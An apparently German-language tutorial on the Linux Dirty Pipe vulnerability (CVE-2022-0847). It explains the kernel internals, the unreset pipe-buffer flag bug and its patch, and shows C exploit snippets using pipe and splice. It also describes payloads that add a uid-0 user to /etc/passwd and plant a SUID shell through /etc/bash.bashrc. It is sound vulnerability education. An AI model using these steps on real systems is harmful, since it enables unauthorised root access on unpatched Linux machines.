
Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) ist eine der bedeutendsten Sicherheitslücken im Linux-Kernel 5.8 – 5.15.24, entdeckt von Max Kellermann im Jahr 2022. Diese Schwachstelle erlaubt es normalen Benutzern (ohne besondere Berechtigungen), Daten in Dateien zu überschreiben, die schreibgeschützt sein sollten. Verständnis der Kernkonzepte
Bevor wir Dirty Pipe im Detail besprechen, müssen einige interne Konzepte des Linux-Kernels verstanden werden:
1. Paging
Paging ist ein Speicherverwaltungsmechanismus im Linux-Kernel, bei dem das Speichersystem den physischen Speicher in kleine Blöcke fester Größe, sogenannte Seitenrahmen (Page Frames), und den virtuellen Speicher in Blöcke gleicher Größe, sogenannte Seiten (Pages), unterteilt.
Dieser Mechanismus erlaubt dem Kernel, den virtuellen Adressraum von Prozessen auf nicht-sequenzielle Weise auf den physischen Speicher abzubilden, was für Effizienz und Sicherheit in modernen Systemen entscheidend ist.
2. Seite (Virtueller Speicher)
In Linux ist eine Seite die kleinste Einheit der physischen Speicherverwaltung, die vom Kernel gehandhabt wird.
Analogie: RAM ist wie ein riesiges Buch. Eine Seite ist ein Blatt Papier in diesem Buch. Der Kernel bewegt Daten nicht Bit für Bit, sondern Blatt für Blatt (Seite für Seite).
Im Allgemeinen beträgt die Standardgröße einer Seite auf modernen Systemarchitekturen (wie x86_64) 4 KB (4096 Bytes).
3. Page Cache
Dies ist ein entscheidender Teil. Linux liest Dateien nicht jedes Mal direkt von der Festplatte, da dies langsam ist. Der Kernel kopiert Dateiinhalte in den RAM, der als Page Cache bezeichnet wird.
4. Pipe Buffer
Pipe ist ein Mechanismus zur Interprozesskommunikation (IPC). Intern verwaltet der Kernel Pipes mithilfe der pipe_inode_info-Datenstruktur. Daten innerhalb einer Pipe werden in einem "Puffer" namens Pipe Buffer gespeichert.
5. Pipe Buffer Flag (PIPE_BUF_FLAG_CAN_MERGE)
Das Flag PIPE_BUF_FLAG_CAN_MERGE wurde mit Linux-Kernel Version 5.8 eingeführt.
Hier liegt die Hauptschwachstelle. Das Flag heißt PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() ist ein Syscall zum Verschieben von Daten zwischen zwei Dateideskriptoren, ohne die Daten zwischen Kernelspace und Userspace zu kopieren. Dies wird oft als Zero-Copy-Mechanismus bezeichnet.
Der splice()-Syscall ist der "Hauptakteur" bei Dirty Pipe:
7. Copy on Write (CoW)
Der Copy-on-Write (CoW)-Mechanismus ist eine Optimierungsstrategie der Speicherverwaltung, die vom Linux-Kernel verwendet wird, um das Kopieren von Daten so lange wie möglich hinauszuzögern.
Die Beziehung zwischen Copy-on-Write (CoW) und dem Dirty-Pipe-Exploit (CVE-2022-0847) besteht darin, wie ein kleiner Fehler im Linux-Kernel den CoW-Mechanismus erfolgreich "austrickst", sodass Daten in Dateien geschrieben werden können, die schreibgeschützt sein sollten.
8. Dirty Page
Eine Dirty Page ist eine Speicherseite im RAM, die von einer Anwendung geändert wurde, deren Änderungen jedoch noch nicht zurück auf den Sekundärspeicher (wie SSD oder Festplatte) geschrieben wurden.
Analyse der Dirty Pipe Sicherheitslücke
Dirty Pipe ist eine Art Logikfehler in der Pipe-Puffer-Verarbeitung im Linux-Kernel 5.8 bis Linux-Kernel 5.15.24. Das Hauptproblem liegt im Pipe-Mechanismus (Interprozesskommunikationskanal) und darin, wie der Kernel den Page Cache (Speicher, der Kopien von Dateidaten von der Festplatte speichert) verwaltet. Der Kernfehler ist ein Fehler im Flag PIPE_BUF_FLAG_CAN_MERGE.
Das Hauptproblem liegt darin, dass der Kernel dieses Flag nicht ordnungsgemäß neu initialisiert (Logikfehler). Hier ist die Codeanalyse: In den Funktionen copy_page_to_iter_pipe und push_to_pipe im Linux-Kernel vor Version 5.16.11 bereitet der Kernel bei splice-Operationen die pipe_buffer-Struktur vor, vergisst jedoch, das .flags-Mitglied zu bereinigen.
Anfällige Codestruktur:
// Ort des Problems: fs/pipe.c oder include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- DIESES FLAG WIRD NICHT ZURÜCKGESETZT
unsigned long private;
};
Code vor dem Patch (anfällig):
// lib/iov_iter.c - Vor CVE-2022-0847 Patch
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags WIRD ÜBERHAUPT NICHT BERÜHRT
// --------snip----------------------
}
Code nach dem Patch (behoben):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- TOTALER RÜCKSETZEN AUF NULL
Warum ist buf->flags = 0 besser, als nur ein bestimmtes Flag auszuschalten? Weil pipe_buffer eine wiederverwendete Struktur ist. Wenn wir nur ein Flag (CAN_MERGE) ausschalten, könnten andere Müll-Flags aus vorheriger Pipe-Nutzung (wie PIPE_BUF_FLAG_GIFT oder andere benutzerdefinierte Flags) noch vorhanden sein und in Zukunft seltsames Verhalten oder neue Sicherheitslücken verursachen. Durch das Setzen auf 0 wird sichergestellt, dass sich der Puffer in einem vollständig "sauberen" Zustand befindet.
Warum kann dies ausgenutzt werden?
Hier ist der Ablauf der Dirty-Pipe-Ausnutzung:
1. Verschmutzungsphase: Der Angreifer fügt Daten über write() in die Pipe ein. Ein normaler write()-Vorgang setzt buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Entleerungsphase: Der Angreifer liest diese Daten. Der Puffer ist nun logisch "leer", aber seine Struktur existiert weiterhin im Kernel-Speicher, wobei das CAN_MERGE-Flag noch aktiv ist.
3. Splice-Phase: Wenn der splice()-Syscall eine schreibgeschützte Datei auf eine Pipe abbildet, wird die Funktion copy_page_to_iter_pipe() aufgerufen. Aufgrund des obigen Fehlers füllt sie buf->page mit der Speicherseite der Originaldatei, setzt aber buf->flags nicht zurück.
4. Ausführung: Der Kernel denkt, dieser Dateipuffer kann noch zusammengeführt werden. Der nächste write() an die Pipe erzeugt keinen neuen Puffer, sondern modifiziert tatsächlich direkt die Speicherseite (Page Cache), die zuvor abgebildet wurde.
Zu diesem Zeitpunkt befinden sich die Daten des Angreifers bereits im RAM. Eine Seite im RAM, deren Inhalt von dem auf der Festplatte abweicht, wird als "Dirty Page" bezeichnet. Wenn diese Phase erfolgreich erreicht wird, bedeutet das, dass die Ausnutzung erfolgreich war! Sobald sich der Page Cache ändert, ist der Effekt sofort. Wenn wir /etc/passwd im RAM überschreiben, können wir sofort su root ausführen.
Dirty Pipe Ausnutzung
Für die Dirty-Pipe-Ausnutzung müssen wir keine Kernel-Schutzmechanismen deaktivieren, da alle Kernel-Schutzmechanismen irrelevant sind, um diesen Logikfehler zu verhindern. Um den Dirty-Page-Logikfehler auszunutzen, führt unser Exploit die folgenden Schritte aus:
Schritt 1. Bereiten Sie die Pipe vor und füllen Sie sie bis zum Maximum, mit dem Ziel, das Flag PIPE_BUF_FLAG_CAN_MERGE auszulösen.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Schritt 2. Entleeren Sie die Pipe.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Vollständiger Exploit-Code für Dirty Pipe Ausnutzung Der vollständige Exploit-Code ist verfügbar unter https://github.com/bluedragonsecurity/dirtypipe2
Hinweis: Der vollständige Exploit-Code enthält Funktionen zur Überprüfung der Kernel-Version, zur Pipe-Vorbereitung, zur Nutzlast-Injektion und zwei verschiedene Ausnutzungsmethoden, die auf /etc/passwd und /etc/bash.bashrc abzielen.
Ausnutzungsmethoden
Der obige Exploit verwendet 2 verschiedene Nutzlasten mit dem Ziel, dass bei Fehlschlagen der ersten Nutzlast die zweite nachfolgt.
Nutzlast 1: Schreibt in /etc/passwd, um einen neuen Benutzer namens 'toor' mit uid 0 hinzuzufügen. Wenn diese Nutzlast erfolgreich ist, können wir sofort eine Root-Shell erhalten.
Nutzlast 2: Ziel ist es, eine SUID-Bash-Shell unter /tmp/x abzulegen. Speziell für die zweite Nutzlast muss gewartet werden, bis sich der Root-Benutzer auf dem System anmeldet, da die Nutzlast zum Ablegen der SUID-Shell in /etc/bash.bashrc injiziert wird. In Linux werden die in /etc/bash.bashrc enthaltenen Befehle von jedem Benutzer ausgeführt, der sich bei der Anmeldung am System anmeldet.
Testen des Exploits
In diesem Beispiel habe ich Linux-Kernel 5.13 verwendet, der auf Lubuntu 20.04.5 in VirtualBox als Gastbetriebssystem läuft, und das Host-Betriebssystem ist Kali Linux 2025.4. Kompilieren Sie den Exploit auf der Lubuntu 20.04.5-Maschine:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Referenzen